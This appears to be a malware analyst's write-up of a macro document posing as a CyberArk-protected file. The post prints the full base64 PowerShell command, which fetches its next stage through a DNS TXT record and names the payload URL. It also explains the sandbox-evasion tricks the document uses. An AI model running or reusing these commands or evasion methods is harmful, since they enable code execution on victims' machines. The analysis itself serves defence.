Malware authors are constantly coming up with new and clever techniques to help avoid detection. In this maldoc, the authors employed several techniques to help complicate analysis and even evade sandboxes. The document begins with an image that instructs the user to enable content, which will cause the macros to execute. However, instead of immediately executing macro code, the document goes on further to prompt the user to click an “Unlock File” button and enter a password to decrypt the protected file. This is when the malicious behavior begins and the authors implemented RC4 to decrypt a PowerShell script. The PowerShell retrieves commands for the next stage from a TXT record associated with a rather common looking domain. Unfortunately the trail stops here as the next stage host was no longer active. Forcing the user to interact with the document can also help avoid detection from sandboxes, as the macro code is not executed without clicking the button in the document. Figure 1 shows the image instructing the user to unlock the file while masquerading a document protected by CyberArk.
Analyzing the Macros
This document contains several macro streams, all of which utilize rather harmless looking names. Figure 2 shows these streams as identified using Oledump, in which streams 12, 13 and 14 contain macro code.
After extracting the macros, the entry point of the code can be identified through the button click event (Figure 3).
This function calls the show method on the Decrypt user form, which simply provides a text box for the user to enter a password (figure 4).
Continuing to follow this logic, the next event is the button click for the unlock button. If a value is provided, it calls the ValidateKey method which eventually executes the PowerShell script (figure 5). It’s worth noting that that the malicious code is never called if a value is not provided.
PowerShell Makes and Entrance
DB_Click is primarily responsible for executing the first round of PowerShell. It does this by first base64 decoding a couple of strings and then using RC4 to decrypt the decoded content, which results in a small PowerShell script. The password is stored in the title of the document and the authors have implemented RC4 within the macros. Before this PowerShell can be executed, the document needs a shell object. To do this, the code uses a the CLSID for WScript.Shell, which avoids using the more obvious string (figure 6).
The results from both strings are concatenated together and result in the following PowerShell command:
powershell -ec cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAG4AbwBwACAALQBjACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACAALgAgACgAKABuAHMAbABvAG8AawB1AHAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAG4AbwBwACAALQBjACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACAALgAgACgAKABuAHMAbABvAG8AawB1AHAALgBlAHgAZQAgAC0AcQA9AHQAeAB0ACAAaQBuAHYAZQBuAHQAaQB2AGUAYwB5AGIAZQByAC4AYwBvAG0AIAA4AC4AOAAuADQALgA0ACAAKQApAFsANQBdACIACgA=
Which decodes to:
As can be seen in figure 7, the second stage PowerShell uses nslookup to query a TXT record from inventivecyber.com. This record, which can be arbitrary text, is executed upon return and contains the command to retrieve the next stage (figure 8) from hxxp://n.3x.ag/fsdf123fsdf/family.png. This payload is then executed using msiexec.
Wrapping Up
This maldoc requires a little more interaction to execute the malicious logic then simply enabling content. This not only has the effect of adding a sense of realism to the unsuspecting user, but it also helps to avoid detection in sandboxes where the initial button is not clicked and a password provided. To further complicate matters, it retrieves a payload for the PowerShell script using a dns query for a TXT record, avoiding the more common use of the HTTP protocol.
Sample: https://app.any.run/tasks/aeb2f55a-b25d-4b36-a546-4675f69caf9b